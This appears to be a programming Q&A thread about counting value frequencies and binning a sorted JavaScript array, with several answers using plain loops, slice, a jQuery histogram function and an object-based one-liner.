[2, 3, 3, 3, 4, 4, 5, 5, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 14, 14, 14, 14, 14, 14, 15, 15, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 27, 27, 28, 30, 30, 31, 31, 31, 31, 31, 31, 31, 31, 32, 32, 32, 32, 32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 39, 39, 39, 39, 39, 39, 40, 40, 40, 41, 41, 42, 42, 42, 42, 42, 42, 43, 43, 43, 44, 44, 44, 44, 44, 45, 45, 46, 46, 46, 46, 46, 46, 46, 47, 47, 47, 47, 47, 47, 48, 48, 48, 49, 49, 49, 49, 49, 49, 49, 49, 49, 50, 50, 50, 50, 50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 52, 52, 53, 53, 53, 53, 53, 53, 53, 54, 54, 54, 55, 55, 55, 55, 55, 56, 57, 57, 57, 57, 57, 57, 57, 58, 59, 59, 59, 59, 59, 60, 60, 60, 60, 60, 61, 61, 62, 62, 63, 63, 63, 64, 64, 64, 64, 64, 65, 65, 66, 66, 66, 67, 67, 67, 68, 68, 68, 69, 69, 69, 69, 69, 69, 70, 70, 71, 71, 71, 71, 71, 71, 71, 72, 73, 73, 73, 73, 74, 74, 74, 75, 75, 75, 76, 77, 78, 78, 79, 79, 80, 80, 81, 81, 81, 81, 81, 82, 82, 82, 82, 83, 83, 83, 83, 84, 84, 84, 85, 85, 85, 85, 85, 86, 86, 86, 86, 86, 86, 87, 87, 87, 88, 88, 89, 89, 90, 90, 91, 91, 91, 92, 93, 94, 95, 95, 95, 95, 95, 96, 96, 96, 96, 97, 97, 99, 99, 99, 99, 99, 101, 101, 102, 102, 103, 103, 105, 105, 105, 106, 107, 107, 108, 108, 109, 109, 109, 109, 110, 112, 112, 113, 113, 113, 114, 114, 115, 116, 116, 117, 118, 120, 121, 121, 121, 122, 122, 123, 123, 123, 124, 124, 124, 124, 125, 126, 127, 128, 129, 130, 130, 131, 131, 131, 131, 132, 133, 133, 134, 134, 134, 136, 136, 136, 136, 137, 137, 137, 138, 138, 138, 139, 139, 139, 140, 141, 141, 142, 142, 143, 144, 144, 144, 144, 145, 150, 150, 153, 155, 159, 160, 160, 161, 162, 164, 164, 166, 176, 180, 180, 180, 181, 181, 187, 191, 192, 193, 194, 197, 200, 203, 211, 216, 224, 251, 280, 333]
Here's what I'm using to parse through it currently (which is not working very well):
for (var key in myArray){
var obj = myArray[key];
var count = 0;
while(obj < 30){
myArrayStats[0] = count;
obj++;
}
while(obj > 30 && obj < 40){
myArrayStats[1] = count;
obj++;
}
//etc....
}
Creating a new array using object literals would be much nicer and easier to use, but I'm not sure how to do it.
This just works whether your array is sorted or not, but it shouldn't be much slower than any algorithm that takes advantage of the fact that it is sorted anyways:
var myArrayStats = [];
for(var i = myArray.length; i--;)
myArrayStats[myArray[i]] = (myArrayStats[myArray[i]] || 0) + 1;
console.log(myArrayStats[6]); // Outputs 7
console.log(myArrayStats[10]); // Outputs 5
console.log(myArrayStats[20]); // Outputs 5
If you want to do this for only a portion of the original array than use slice() to get the portion of the array you want and then do the same thing as above on that array:
var mySubArray = myArray.slice(0,30);
var myArrayStats = [];
for(var i = mySubArray.length; i--;)
myArrayStats[mySubArray[i]] = (myArrayStats[mySubArray[i]] || 0) + 1;
console.log(myArrayStats[6]); // Outputs 7
console.log(myArrayStats[9]); // Outputs 7
console.log(myArrayStats[10]); // Outputs undefined
It sounds like you have equally spaced bins and want to count how many values fall in each. Since this question was tagged with jQuery, let's use a utility function from that to avoid an explicit loop to show another way to do things. (I guess PaulPRO's approach is superior though.)
function hist(values, min, max, numBins) {
var bins = [];
var range = max - min;
jQuery.each(values, function(i, value) {
var bin = Math.floor(numBins * (value - min) / range);
bin = Math.min(Math.max(bin, -1), numBins) + 1;
bins[bin] = (bins[bin] || 0) + 1;
});
return bins;
}
We can exercise the above code with the following:
function consoleHist(values, min, max, numBins) {
var bins = hist(values, min, max, numBins);
var step = (max - min) / numBins;
jQuery.each(bins, function(i, count) {
var lower = (i - 1) * step + min;
var upper = lower + step;
if (lower < min) {
lower = -Infinity;
}
if (upper > max) {
upper = Infinity;
}
console.log('[' + lower + ', ' + upper + '): ' + (count || 0));
});
}
consoleHist([-10, 0, 11, 29, 30, 59, 60, 1000], 0, 60, 2);
Produces the following output on the console:
[-Infinity, 0): 1
[0, 30): 3
[30, 60): 2
[60, Infinity): 2
myArray = [2, 3, 3, 3, 4, 4, 5, 5, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 8,
8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 11, 11,
11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 14, 14]
for (var a = myArray, b = {}, i = 0; i < myArray.length; i++) b[a[i]] ? b[a[i]]++ : b[a[i]] = 1;
console.log(JSON.stringify(Object.keys(b)
.map(function(c) {
return [c, b[c]]
})));